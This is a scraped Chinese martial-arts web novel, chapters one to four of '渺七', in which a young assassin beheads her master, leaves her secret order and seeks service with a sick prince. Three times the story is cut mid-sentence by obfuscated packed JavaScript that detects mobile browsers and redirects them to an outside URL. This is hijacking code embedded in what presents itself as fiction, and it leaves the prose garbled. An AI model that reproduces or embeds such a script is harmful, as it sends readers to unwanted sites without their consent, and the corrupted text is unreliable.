《渺七》 1. 〇一 渺七要杀一人,非但要杀,头也得砍。 领命时,她对院首说她使软剑,不便砍人头颅,院首回她,所杀之人自有重剑。 - 晨雾淡去,马蹄声惊起林中宿鸟。渺七纵马越过疾驰的马车,车马骤停,赶车人鬼魅般提剑跃起,须臾滚出丈外,渺七则以软剑挑落车帘。 一切都利落迅疾,然车中人没有死,两指夹住泠泠的软剑,端坐望着渺七。 渺七眨了眨眼,唤他:“院首。” 车中人松了手,见渺七也收手,问道:“为何收剑?” “我为何要杀你?” “这是任务。” 渺七略加思索,其后再度抬剑,剑如银蛇游弋—— 林鸟啾啾,渺七再度无言收剑。 唯有车中人干咳一声,垂下手中用来抵御袭击的重剑,开口道:“我带了口锅,如今林笋正盛,不妨吃顿傍林鲜再杀我。” 渺七随马车中人到竹林溪畔,倚竹而坐。 那人一面挖笋扫叶、生火张釜,一面还滔滔不绝地讲着话,渺七似在听,又似在神游。釜中水泣时,她听见他说:“若我记得不错,你该姓崔,叫崔渺。” 渺七侧头看去。 她不记得她与谢离提过此事,毕竟遇见他那年她才八岁,她只记得那是在九年前,她离家出走,与人打架时遇见路过的谢离,被他救下,而那之后她便随他入了玄霄。 见她不语,谢离仍兀自回忆着:“那时见你是个狂童,便当你是可造之才,到底还是看走了眼,你不适合做杀手。” 又接着啰嗦道,“想必你恨我,但这世间不乏恶人,我不拐你进玄霄,亦有旁人拐你入生地狱,你也怨不得我。” “你不想死。” 渺七出言打断他,话音未落,剑光一闪。 匿鸟振翅而逃,随后才是一棵竹倒下,正是渺七所倚的那棵。 “只备了锅具,烦劳劈两截竹筒来。”谢离口吻平静。 渺七神色不变,起身拾起重剑,砍下竹筒后连剑一并交与谢离。谢离看了看剑,接下放至炊火旁,再接过竹筒分笋。 竹笋鲜香,于初夏林中烹煮更为味美,渺七捧竹吃笋,许久不闻谢离啰嗦,不禁抬眼看去。 他已坐去溪边,不知几时摸出支白玉小笛,静静端量摩挲。约莫是前两年,谢离蓄起两撇细胡,但除这两撇胡子外,他瞧着同多年前的青年谢离没有分别。 “我若杀了你,会有人杀我吗?”渺七忽问。 谢离侧头看她,冷哼一声,顿了顿才说:“放心。” 言尽于此,却又似还有千言万语。 玄霄中人总是到死也不忘故弄玄虚。渺七低头吃笋,不久,又听谢离叫她:“渺七。” 她抬眼。 “你还真教人钦佩。” 渺七眨眨眼:“院首有话直说。” 谢离收起玉笛,重又坐来炊火旁,再弄玄虚,于林中说些临终之言。 说话间,火光渐灭,日头渐高。 天光穿林,照进临溪的深坑,坑乃谢离所掘,眼下他已同那柄利剑躺在其间,血渗进泥里,土色更深。渺七看上会儿,替他垒起坟茔,再借余温尚存的草木灰为他的头止血,裹成包袱。 她该回玄霄复命,但如今院首已死,她只能向霄首复命。 身为玄霄最末流的杀手,渺七从未见过霄首,也从不知霄首去向,谢离便告诉她只需将他的脑袋送往应天英国公府即可,渺七遂马不停蹄赶往应天,好像生怕去晚了他的脑袋便不新鲜。 暮云合璧,城门处依旧攘攘熙熙,纵是太平之世,城门也戒备森严,入皇城者需经层层盘问检查。 渺七牵马入城时,守卫提枪将她拦下,欲查包袱,却见渺七亮出一枚玄铁腰牌,即刻放行。 英国公谢枢乃开国功臣,虽无封地,府邸却是当年太祖皇帝钦点匠人兴建,位于京中繁华之地,极尽豪奢。 渺七于国公府外一茶肆坐了许久,回想着在竹林中时与谢离最后的谈话。 “挖好了,动手罢。” “可你还没说完。” “还有什么可说?” “我是潜入英国公府,还是拿玄铁令求见?” “你若寻死,潜入便是。” 意思是说英国公府守卫森严,潜入者必死无疑。渺七还不太想死,但她还是决定入夜后再潜入国公府。 主意既定,渺七便离了茶肆到街头觅食。谢离死前曾交与她两样东西,一是那支白玉小笛,二则是他的钱袋。眼下正是那袋钱派上用场时,渺七找到一处酒楼饱食一顿,其后坐去酒楼屋脊上望皇城夜景。 夜是明月夜,天幕却有顽云浮荡,及至夜市将歇,一段轻云蔽月,风动酒旗。 清辉再现之时,檐上已空无一人。 …… 渺七如鸟般栖至树上,与此同时,一枚石子投入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317529|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院湖激起涟漪。庭院寂静,似无人看守,渺七不再妄动,只透过叶隙窥天上玄云。 不多时,云过中庭,渺七飞也似的掠向湖石,却不料假山下早有一人伏伺,当即在夜色中同她缠斗起来。 缠斗间渺七抽出腰间软剑,琅琅剑声中,月光复现,她蓦地看清那人的相貌。 那人显然也看清她,出招时诧异叫道:“渺七?” 渺七挡住一击,撤至湖石阴影下,不再出剑。那人却以剑相逼,直将剑架到渺七颈侧,逼问道:“你怎会到这里来?” 渺七眨眨眼,目光平静扫过对方的黑衣,对方将剑抵得更近:“看什么看?” 口吻一如往昔。 “你还没死。” 渺七曾有一室友,芙生,只不过去年冬日她便一去不返。渺七以为她死了,不想如今竟在此处见到故人。 芙生闻言冷冷刺道:“不会说话就闭嘴。” “只是许久不见你。” “你总不会是找我来叙旧的罢?” “我来复命。” “复命?复什么命要做贼似的进来?” “院首有命,不敢违抗。”渺七眼也不眨地将帽子推给死人。 芙生盯着她看上会儿,收起剑。她虽不信渺七,但对谢离却是信任至极,她问:“院首怎会派你来此?” “院首已死。”渺七说着解下肩头的包袱示意她看。 芙生立时不可置信地睁大眼,对着包袱看了良久后,终于动了动嘴皮:“我不管你,你也休要向霄首提我。” 说完便转身离去,渺七朝她背影望上眼,重新挎上包袱潜入夜色。 …… 翌日清晨,谢老国公梦醒,睡眼朦胧间见一颗人头悬于床架之上,大骇不止。 渺七在应天城外呆了两日。头一日,渺七听行商走贩谈京城中事,提及英国公府遭遇大盗,如今进出城门严查更甚。第二日,渺七见城中一富户家中出殡,远远跟随那起灵人到坟林中。因此到了第三日,应天又多出一则盗墓轶闻来。 离京一百里处,竹林空寂。 渺七将那颗墓冢里盗来的头颅还与谢离,又于坟茔前立上会儿,说:“你也怨不得我。” 她只是全然没按他说的做,她不自作主张,亦会有旁人自作主张。 清风入林,拂过坟茔,坟前不知几时立起一墓碑,其上刻「哪吒」二字,而林中黑衣的少女早已杳无踪迹。 2. 〇二 风吹麦花,困人天气。渺七骑马走在乡邑田野间,漫看小蝶穿花,闲听莺啼人笑。 入玄霄多年,她还从未如此悠闲过,既无任务在身,又不必忧心晚归受罚,总归天塌下来也有谢离顶着,故这几日她都放慢脚程,到今日才行至青州府境内。 田边两童稚小儿瞧见她,大嚷两声“骑马的来也”,而后便在门前骑起竹马。渺七望上两眼,收回目光从行囊里掰下块糗粮吃。 到日昳时,渺七总算晃到青州府府城外,今次没有人头在身,她便任由城门守卫搜查番,虽说她有一块连皇城都能自由出入的令牌,但她从未在青州用过,非但如此,来青州时还总得易容一番,不过也只是些低等手段,要么贴半块溃肉在脸上,要么便黏几颗痦子,诸如此类。至于佩剑,薄如蝉翼绕在腰带间,便是搜身也难以觉察。 不多时,渺七便顺顺当当进了城。 过去两年间她常往青州来,每每完成任务回玄霄复命,她都会打青州府兜一圈,因此到如今早已轻车熟路,一径拐去车马巷里,也不问伙计,留下存马钱便转身离开。 青州王王府,曲径绕篱,槐荫覆地。 渺七优哉游哉坐在棵老树上,抱着碗不知从何而来的菰米饭吃。树下乃一处清幽小院,此时三个青衫侍女呆在中庭闲谈。 一人坐在石桌旁绣手帕,边说:“前日还听祝管事朝云公公抱怨,说府里养的净是些白白吃饭的,成日闲着没事做,都该撵了去。” 一人正洗衣裳,努嘴回道:“闲着又如何?王爷又不在府上,再说我们吃的是皇家岁供,哪是他老人家说撵走就能撵走的?” 还有个瞧着年纪不大的小丫头,正逗着猫,头也不抬地接过话:“就是,王爷在府上时我们照样闲着没事做,怎不见他抱怨,是怕‘活菩萨’怪她么?” 说完三人当即笑作一团,不过那绣花的女子很快又收敛笑意,转而面带愁容叹息声。 逗猫的小姑娘闻声转头:“姐姐叹气做什么?” “我只叹我已二十有二,这样好的差事也只能再做三两年。” 洗衣的丫头闻言也轻叹声,似惆怅,倒是逗猫的丫头脱口说:“哪里就想这些了,说不准要不了三两年,王爷就——” “好个不怕死的!”绣花的侍女当即脸色一变,撂下帕子作势去拧那丫头,“你咒谁不好,连活菩萨也敢咒!” 小丫头躲闪开,那只黑猫也噌地一下逃开,趁人不备蹿至树上。 渺七猝不及防同它打个照面,若不是与它还算相熟,早便一惊之下踹开它。黑猫却不觉惊异,款步走到渺七身前,好不熟稔地蹭起她。 树下仍吵闹着,教人逮住的小丫头求饶道:“我错了,饶了我罢,我本是无心一说。” “是没心眼,”浣衣的侍女瞪她,“要是让旁人听去,告诉云公公,到时候治你个大不敬,看你有几条命能活。” 那小丫头似乎当真怕了,忙又向她求道:“好姐姐,你也饶了我罢,往后我定不会胡说八道了。”说完又合掌祈告佛祖,“阿弥陀佛,佛祖在上,还愿保佑我们青州王长命百岁,福如东海寿比南山,也保佑我两位姐姐事事顺心如愿。” 其余二人皆无奈叹了声,又不放心叮嘱几句,小丫头一一应下,后才寻猫,猫儿一听,在树上唤两声,小丫头循声望去,见黑猫从树上探头。 “你怎么又去树上,次次都只敢上不敢下,还得我去抱你!” 女孩嚷嚷着,而树上早已不见渺七身影。 离此不远处的王府膳院内,如今已不记事的老膳夫对着案上一空碗琢磨。 莫非他已吃过饭了,那为何总还觉得腹中空空? - 又过数日,渺七抵达登州海隅。 登州地处要冲,府境内设巡检司若干,府城驻蓬莱,蓬莱三面环水,乃入海咽喉之地,近年来因岛寇四起,海防愈严。而玄霄正是于这重重守备之下秘密建起,行杀官斩吏、针对朝廷之事。 渺七从未想过玄霄为何会如此犯险,也从不探究玄铁令究竟有何地位,但如今她已得知霄首身份,多少也明白一二。也因此,今日她遇上巡检司官兵都百般从容。 许是近日又有岛寇生事,这日口岸处一刻不歇地盘查着。渺七耽搁许久,总算在巳正时登上条渔家小舟。 此地渔夫通常都是山神岛人,山神岛坐落于蓬莱海域,岛上四村人皆以捕鱼为生。倘遇晴日好风,由蓬莱口岸登程,不过两个时辰便能望见东北方山神岛,然今日行到途中,海上忽起风浪,未几黑云密布,大有落雨之势。 渺七起初在舟上打盹,风云骤变时才蓦然睁眼,只见天色昏昏,茫茫海面上云雾飘渺。渺七微微挺身,见船侧雪浪阵阵,猜测船已向东行,这才抬眼看那船公。 身披棕蓑,头顶斗笠,一副丝毫不教人起疑的渔人打扮。渺七当下猜到什么,朝他叫道:“韩教习。” 渔翁回头看来,笠帽下一张脸胡髭凌乱,黝黑而沧桑,远非渺七所想之人,但恰是如此渺七才更笃定此人便是韩仲孝。 韩仲孝最擅易容,四年前入玄霄做教习,除却教杀手们易容之术外,他从不插手旁的事务,以故渺七登船时毫不疑心渔人会是他假扮,至少这等事在从前绝不会发生。 “你一向这般大意?”韩仲孝开口便是冷声质问,与平日那副懒散模样大不相同。 渺七不言语,也无话可驳。 昨夜她星夜赶路,打的便是今日在船中小睡的主意,她一向爱在船上瞌睡。 沉默间,一道闪电穿过雾幔,竟端端落来船身旁,俄而一阵惊雷响动。 小舟禁不住风浪,若不赶在落雨前登岸必定凶多吉少。渺七还是不太想死,无意拖延,便直言问:“韩教习特来迎我,所为何事?” 她虽不解,但隐隐有种不妙之感。 谢离曾说他与韩仲孝乃生死之交,那韩仲孝要是知晓谢离死了,会杀她为好友报仇吗? 想着,便听韩仲孝冷嘲声:“迎你?倒不妨说是恭候大驾。” “……” 小舟在风中晃荡,又一道闪电击来近处海面之上,韩仲孝却还有心思出言刺她:“一个玄霄杀手尚不及一则京中轶闻传来得快,渺七,你能活到今日当真是福大命大。” 渺七竟从不知此人如此爱嘲讽,但见他仍是那般风雨不动的模样,无明火起,道:“你要罚便罚,不必拐弯抹角。” 韩仲孝却沉默下来,旋即背身摇桨,到暴雨倾盆时他才回过味来,早先原是他心中愤愤,何以最后成了个小学生冲他动怒?但眼下到底不是计较这事的时候,他只极力摆桨。 瓢泼大雨中,一只小舟险险抛泊。 海上狂浪喧嚣,黑魖魖一片,如深渊,岛上则黑影幢幢,似鬼魅出没。渺七难以分辨身处何地,登岸后只跟随韩仲孝往前,约莫半盏茶时,二人抵达一山洞。 渺七于洞口处解下沉甸甸的蓑笠,又拧干衣物,脱下长靴,见韩仲孝那端已生起火,提上包袱前去烘衣,韩仲孝则在她坐下时意味不明冷哼声。 渺七抬眼看他,此时眼前之人早已不是白日所见那老翁模样,经雨一淋露出真容,脸面白净,似一书生,虽着破麻衣却也不掩通身气度,只神情肃然,与平日所见相去甚远,倒像是还易有一层容。 两人久久无言,洞中唯有柴火哔剥作响,渺七凭微光环顾四周。 洞壁下堆有枯木,而洞穴深处有一干草席,草席上放着只包袱,显然有人居于洞内。再看韩仲孝熟门熟路,便也不难猜出谁人住在此地。 可究竟发生了什么,韩仲孝怎会住来山洞里? 渺七暗自琢磨,却不疑问。 韩仲孝久等不到她作声,终于冷冷开口:“我在山神岛等了你三日。” “那为何今日不去山神岛?” 若无意外,玄霄之人通常都先抛泊至山神岛,之后再寻舶船东去,所以如今定是有了意外。 “两日前朝廷已派兵驻岛,我便转移来此。”韩仲孝道。 三日又两日,也即是说,他等她已有五日,那倒也无怪他气愤。 但渺七依旧无动于衷,盯着他,似冥顽不灵的野狗,眸中唯见火光闪动。 如此,韩仲孝反像是没了脾气,忽而笑了声:“事到如今,你不想问些什么吗?” “我在船上时问了,但你没有答我。” 她问他为何前来迎她。 韩仲孝只得低叹声,耐着性子道:“因为如今玄霄已遭朝廷清剿,若非我在此拦截,你回岛上必死无疑。”说到此处,他眯了眯眼,“渺七,你延误归期,胆大妄为,当真是觉得谢兄死后便什么事都能推到他头上吗?” “……” 渺七没想到会有人戳穿她的心思,但依旧镇定自若,面不改色道:“韩教习有话直说。” “你可知你在英国公府所做之事,触怒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317530|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢老国公?” “那本就是院首之命。” “一派胡言,谢兄为人如何我岂会不知?他对老国公孝心天地可鉴,又怎会死后让人把他的头颅悬到床梁之上?” “……”渺七不再说话,索性往地上一倒,说,“我困了。” “你——”她话虽不假,只着实将韩仲孝堵得心慌,他闭眼深吸一口气,许久才呼出,朝她道,“到草席上睡去。” 渺七置若罔闻,翻身打个哈欠,一任洞外风雨汹涌到天明。 风雨既停,渺七也因腹中饥饿醒来,她先翻开包袱瞧了瞧,糗粮早因雨淋火炙变了样,加之她还枕了包袱一夜,说是团烂泥也不为过。 渺七浅尝一块,随即弃之,再看洞中,除一席草垫与一团余火外,再无其他,遂踢灭余火到山洞外去。 山洞位于一处矮山腰,由洞口可望苍茫云海,暴雨初歇,岛雾漫漫,渺七沿山路一径前往海边。 昨夜巨浪卷来海藻,红绿藻间有银白小鱼萦绕,近岸处,韩仲孝已生火烹食。 渺七走上前,见得铁铫中满是红虾红蟹,火上还烤有两条大鱼,就地而坐,毫不见外地取来虾剥。 韩仲孝睨她眼,而后问:“他死前可留有东西给你?” 他问得突然,渺七犹夷片刻,只将怀中那根白玉小笛摸出抛向他。 韩仲孝接过短笛,细细把玩,末了叹息声:“一些话昨日见你时便该告诉你,可惜你惹我不悦,我便想晚点再教你高兴。”他倒是还想磨她一番,但这人根本就是木石之心,再怎么刺都不痛不痒,反而教他气甚。 “高兴?” 口吻困惑,好似不解什么叫做高兴。 “可以离开玄霄,还不够高兴吗?” 渺七无声眨动双眼。几瞬之间,她想到芙生曾问她心中所愿,她答她三愿,其一便是离开玄霄,然芙生称之为妄想。 入玄霄者,即入生地狱,叛离者死无全尸。 “我不明白。” 韩仲孝不情不愿开口:“我原本也不明白,但昨夜我彻夜思索,总算是明白了谢兄为何要舍命保你离开。” 渺七一顿,虾也不吃,问他:“此话怎说?” “哼,朝廷此番清剿千矶岛,玄霄为保势力,将星院推了出来,你以为没有谢兄相保,你能活着离开岛上?” 渺七蹙起眉,思索许久后说:“不是。” “什么不是。” “你说他舍命保我,但他舍命是为他自己,为了当哪吒同他父亲明志。” “你——” “本来就是。”渺七说罢,一手掰落虾头,抽出虾肉吃。 韩仲孝直气得起身,在海滩上来回踱步,见渺七吃完虾又吃蟹,还不忘给鱼翻面,风度全无,破口骂道:“以往谢兄所言甚是,你果真天生无情无义!” 渺七充耳不闻,兀自填饱肚子,而后坐去船上一语不发地看海。 此时日出东方,岛屿雾散,但遥望沧海尽头,仍有一处布满浓雾。 世人皆称蓬莱为仙境,知其时现奇观,却不知蓬莱海域外,有一岛名千矶。千矶岛终年大雾不散,岛周暗礁盘踞,过往船只稍有不慎便触礁沉海,即便是经验颇丰的渔人也难以靠近。岛上山深林密,白鹭含烟,宛如仙境,然那里是玄霄中人的生地狱。 迂久,一只海鸥落至船头,渺七眨眨眼,回身看韩仲孝,说:“那我走了。” 韩仲孝盘腿而坐,双手抱臂,不知想了些什么,难得冷静问她:“走去哪儿?” 渺七想了想,随口说:“江湖。” 话落,韩仲孝竟扑哧一笑,没忍住,索性仰天长笑,好似癫狂:“太平之世,你以为离了玄霄江湖还能任你闯荡?” 渺七冷眼看他,不答,韩仲孝也不追问,只将手中那支短笛连同一只旧锦袋朝她抛去。渺七接过,看了看那只旧囊袋,问:“这是什么?” “自己的东西也不记得了吗?受人之托,替你取来。” 原是她入玄霄前的东西,渺七记不太清,但揣起那锦袋,然后问:“那这支短笛呢,你不留着睹物思人吗?” “又不是交给我的。” 韩仲孝说完,仰面倒在海滩上。 渺七难得多话,最后问他:“你不走么?” “走,但与你道不同。” 玄霄中人总是故弄玄虚,渺七不再问,收起船锚,摆舟驶向云雾的另一端。 3. 〇三 一连半月渺七都走在乡野间,白日或寻溪涧捕鱼,或往山间摘果,入夜便宿旷野荒庙。虽说玄铁令仍在,但眼下渺七不明形式,索性一城不入,如此来,一路上跨州过府倒也无事发生。 半月之后,时入仲夏,渺七再度踏入青州地境,来时赶上场骤雨,遂在郊外一旅店歇脚。 堂内只六七旅客,一个伙计,渺七进店后环顾一周,寻了角落坐下,伙计快便上茶来,笑道:“客官吃些什么?小店有酒有肉,昨儿夜里刚宰了头猪,后院里还有活鸡活鸭。” “一碗热米饭。” 小伙计静候片晌,了悟过来什么,又问:“再没别的?” 渺七停顿片刻,改了口:“两碗。” “……” 小伙计耸肩离去,渺七这才提壶斟茶,也是这时,东面桌上一少年提酒而来。一人一壶同时落座,响动细微,却引得店内其余人朝此处望上一眼。 “果真是你!”少年瞧着只十四五岁,说起话来眯着眼,笑模悠悠,“我还以为吃多了酒眼花,不想竟真应了那句踏破铁鞋无觅处。” 后半句当然是说得来全不费功夫。 渺七饮下一盏冷茶,看向对面,眨了眨眼。 “怎么,你不记得我了么?”少年往前一凑,似是想教她看得更清楚。 “记得。” “果真记得,我怎不信?” “月院穆冲。” 玄霄盘踞一岛,岛上分布日月星三曜院,其中日院为首,月院次之,星院最末。 渺七所在的星院由谢离教导,平日与其余两院往来甚少,穆冲从未在星院待过,但渺七认得他,两年前他曾受人之托带一则遗言来星院寻她。 穆冲听她叫出他的名字,斟了碗酒推到她面前,依旧笑眯眯:“此乃青州金玉露,虽卖家往里头掺了水,尝着却也还不错。” 渺七却不与他扮熟络,只问:“你找我?” “是啊,主人家中遭窃,命我来拿小贼。” “与我何干?”渺七矢口否认,面无半分波澜。 “自然与你有关,主人指名道姓,他说谁是贼谁便是贼,不过你当真没名气,没几人认得你——不对,如今你已是无人不晓了。” “为何?” 穆冲眯觑下眼眸,笑容不改,但只是含糊其辞说:“连主人都认得你了,自是鼎鼎有名的。” “来了客官,两碗米饭。” 话音落下,小伙计端来两碗半冷不热的米饭,想是见桌上情势有变,思索之下将其中一碗放到穆冲面前。 穆冲当下将碗推回渺七手边,转头对那伙计笑道:“你好像记性不佳,做伙计的可得长长记性。” 笑容灿烂,眼却黑洞洞似披云翳。小伙计忙冲他致歉,穆冲则似无事发生,重又回眸看渺七,渺七则已自顾自扒起米饭。 二人无言相对,直到渺七吃罢两碗饭起身,穆冲才出声挽留:“雨还未停,不多坐会儿么?” 渺七只睇他一眼,随后结过饭钱出了旅店。 …… 出了青州便入济南,泰山北麓,有一村名唤野老庄,渺七行至村外二里地时,不再往前,只寻一棵老树系好马儿,倚树等待。 不出一炷香时,渺七便听马蹄声逼近,抬眼望去时那人也已骑马而来,见到她后笑吟吟停马,将马系在道旁。 自那日旅店一别后,穆冲已尾随她至今,渺七不曾在意,也懒得造迹误导他,毕竟月院之人很善追踪,不易上当。 但他也仅仅是跟着,并不轻举妄动,似乎并非像他说的那样是来抓她,而是有意探究她去向。 渺七不愿再猜,决定趁天气晴好解决掉这条尾巴。 “为何停下?”穆冲朝她走来,似是未尽兴般问起。 渺七讨厌他笑,冷着面孔说:“告诉我你的任务。” “看来你记性也不大好,我说过,我是替主人拿小贼来。” “你说的主人是谁?” 穆冲不语。 “你既不说,那便动手——” 不等渺七话音落下,一道疾风倏地朝她袭来,穆冲竟先她一步出手,渺七当即退避。 穆冲使两柄匕首,身姿轻盈如舞,刀式却凌厉诡异,渺七起初徒手与他过招,备受压制,直与他纠缠到河畔才得以抽出腰间软剑,两道黑影即刻缠斗在一处。 几式之后,穆冲脸上笑意渐收,眉眼微蹙,攻势亦不及先前迅猛,渺七则招招紧逼,直教穆冲逼退至水中。穆冲借机扬起水花扰乱渺七,随即潜至河里,再露面时人已退出丈外,湿淋淋的,浸在日头底下闪光。 渺七一语不发望着他,少年似乎还想笑,结果却只是抽动几下嘴角,最后索性怒目相向,道:“以你的身手,进月院不在话下。” “为何要进月院?” “总比待在星院好。”至少眼下他们还能活着。 “我已不是玄霄中人,不必再和我说这些。” 穆冲冷笑声,似在忍耐什么,半晌后他抹了把脸,总算重新露出笑来:“你不知我前来的目的,我却知你打的主意,你途经青州时曾向人打探青州王的去向,来此便是要去找他,对吗?” 少年说话时摆出副运筹帷幄的姿态,渺七听后却倏地叹息声。 几乎叹得莫名,莫名到穆冲想冲到她面前问个明白,而这时渺七冷不丁道:“很烦。” 话音方落,她又朝水中去,又一次在水里跟人打斗起来。 血漫进水里,由水卷噬,穆冲几乎目眦欲裂,想要还击,却不得已捂紧血流汩汩的左臂,咬紧牙关:“你——” “别再跟着我,否则杀了你。” “你、你与沈大哥所说根本不同!” 穆冲总算“你”出个究竟,怒吼道,好似受眼前之人蒙骗已久那般。 渺七则一脸不解,似是不明白他为何要提一个死人,最后什么都懒得说,回身走去岸上。 “……” 穆冲还站在河里,抬声问她:“渺七,你去找他就不怕死吗,你可知他娘是什么人吗?” “与你无关。” 渺七头也不回走到老树旁,解开马儿,扬尘而去,此后路上,无人相随。 …… 翌日清晨,一白衣少年随寺院香客登山而上,少年身姿挺拔,打扮似一书生,然面容甚丑,右脸之上生有一块红斑,左眼下方则长着颗豆大的痦子,连灵应寺内的小沙弥见了面上也多几分悲悯。 渺七却不觉怜悯,只些许遗憾,遗憾当初未能从韩仲孝那里多学几招易容手段,但她到底从容自得,好似生就这副面孔。 香客往来各宝殿间,渺七却一入山门就朝寮院方向寻去。 松寮隐僻,人声寂寂,渺七穿行到小径上,渐渐只听得林间松声。 待转过一棵老松,忽见一小沙弥悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317531|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无声息停来前方,不觉止步。 “阿弥陀佛,”小沙弥朝渺七合掌,嘴角挂着抹似有若无的笑,“此处乃僧院,施主缘何造访?” 渺七搬出昨夜想好的说辞来:“听闻青州王在此,草民特来求见。” “阿弥陀佛,”小沙弥念完一咒,侧头看向林中,“此事与小僧无关。” 话罢,一黑衣少年从林中蹿出,少年面容黝黑,双目倒清澈炯亮,瞧着与渺七一般年纪,始露面,小沙弥便再行一揖转回寮院中。 渺七又朝那少年说事先备好的说辞,一板一眼道:“草民有事求见青州王,还望通报。” “既是求见,总该说说你的名姓与来由罢。” “青州谢仲孝,前来自荐。” 闻言,黑衣少年面上升起丝困惑,继而目光在渺七脸上扫视几遍,问:“自荐?” “某自幼习武,愿为王爷效力。” “唔……”少年看看她,不禁有些为难地挠了挠头,似乎觉得这人古怪,解释说,“王爷身份尊贵,用人事大,并非你说效力便能效力,你还是另谋差事罢。” “你为他办事吗?” “那是自然。” “那我便打败你。” “……什么?” 一道掌风不由分说地朝黑衣少年袭去,半盏茶的功夫不到,白衣少年便捆着黑衣少年踏进僧院,黑衣少年口里教人塞着团碎衣物,极力嚷嚷着什么,双眼通红,像是恼羞成怒。 “阿弥陀佛。” 起初离去的小沙弥再度出现,嘴角仍旧挂着一抹笑,转身替渺七引路,边道,“施主步履轻盈若猫,适才若非松声稍停,小僧也难以觉察。” 被捆住的少年闻言一头撞向小和尚后背,小和尚疾走几步闪躲开,头也不回,直将人引到寮院尽头一处小院落才站定。 “小僧便止步于此,佛门清净,还望施主莫轻举妄动。” 渺七无暇理会小和尚,目光穿过洞门看向院内,随后将黑衣少年往里一推,抬声道:“来者青州谢仲孝,是为自荐,绑他并非本意。” 黑衣少年方得自由,转身又欲横冲撞向渺七,却听一道人声肃声叫他:“应安,面壁去。” 少年猛然泄气,随后不情不愿蹦跶去院角面壁。渺七这才迈步进院,看去竹牖下时,只见一黑衣青年凌然矗立,而他身后的屋中,一阵清越琴音悠然传出。 渺七看一眼那房门,随即听青年问:“为何自荐?” “某自幼习武,愿为王爷效力。” 青年眯觑起眼眸:“既如此,便由我试试你。” 渺七闻言眨了眨眼,而后二话不说从腰间抽出软剑,剑声泠泠,夹在郁郁林声中,如水流动。 见她私藏兵器,青年神情越发肃穆,走下台阶时也抽出怀中重剑。 重剑利落,软剑多变,二人交手时一语不发,只听剑声相撞。 云聚云散,天光亦时隐时现,不知打了多久,窗牖内悠扬的琴声乍地激扬几分,渺七分神看去,片刻后,打斗止住。 血串成珠由剑刃挥下,渺七连退几步,如昨日穆冲那般紧紧捂住左臂。 “打架还敢分神吗?”青年问。 “是他先添乱的。” 青年听这指责,当即皱眉,还没来得及张口,屋内琴音随之停下。 须臾,竹门从里打开,渺七目光移向门内,难得绷紧双唇。 4. 〇四 时隔五年,裴皙再一次停来渺七身前。 渺七近乎屏息,落在他身上的目光却很沉静。她还记得昔日前往五台山为民祈福的太子殿下,比起当初丰姿秀逸的少年郎,眼前的青年尽管容貌未改,容光却减,清瘦又苍白。 他亦打量着她,许久问她:“如何证明你是想效力于我?” 一股淡淡的药草气在鼻尖萦绕,渺七眨了眨眼,只一下,旋即回答:“草民知西南有一神医,或可助王爷寻到此人。” 裴皙不觉失笑,笑如春风和煦,声音也同样温煦:“这便足够吗?” 自是不够,青州王重病之事天下皆知,他自然见识过不少真真假假的神医,没有理由信她空口之许。渺七无法可证,唯有定睛看他,空口白牙起誓:“我从不撒谎。” 小院归于静默,其间裴皙始终望着渺七的眼睛。 四目相对,皆不避不闪,良久,终是裴皙先转过目光,嘱咐身侧的青年:“应平,安排他在院中住下,再取些伤药给他。” 应平眉心微凝,显然犹疑,而这时院中另一人叫道:“王爷,此人来历不明,瞧着很是古怪!” 原是那小沙弥替面壁的少年解了束缚,裴皙听罢却只说声“无妨”,其后便朝那小沙弥道:“行明师父,烦劳引我去寻慧观法师。” “阿弥陀佛。”行明应声,转身先行。 渺七目光紧随着那道清瘦的身影,直到洞门将他挡去。 “无妨?怎会无妨?大哥,这个姓谢的来路不明——” “今日的水挑了吗?” “……” 应平一句话将应安问得哑然,少年便忿忿瞪向渺七,渺七则转头看应平。 眸光清澈,应平只觉这双眼里写满催促,故而干咳一声,按裴皙的吩咐将人带去屋中包扎。 这一剑伤得不算太深,渺七想,这回应是她掉以轻心,日后若还要和这人交手,的确要专注些才是。想着揭开药罐,借绿窗外的天光细细察看。 药膏细腻,色泽气味皆新,比玄霄所供伤药要好出许多,渺七眨了眨眼,脸上似有若无地显出一丝波动,而后才为伤口上药。 待她推门出屋时,应安正抱臂倚在廊旁等候,横眉相向,像只黑毛的狗崽,见人便叫:“我大哥有话问你。” 渺七目不斜视走过他,好不自然地坐去应平对面的石凳之上,急得应安又叫嚷起来:“好没规矩!我同大哥说话都得站着!” “应安,挑水去。” “……” 应安终究愤懑离开,应平这才认真端量起渺七,可左瞧右瞧都觉难窥,索性直接问她:“剑从哪儿来,可知私藏兵器是重罪?” 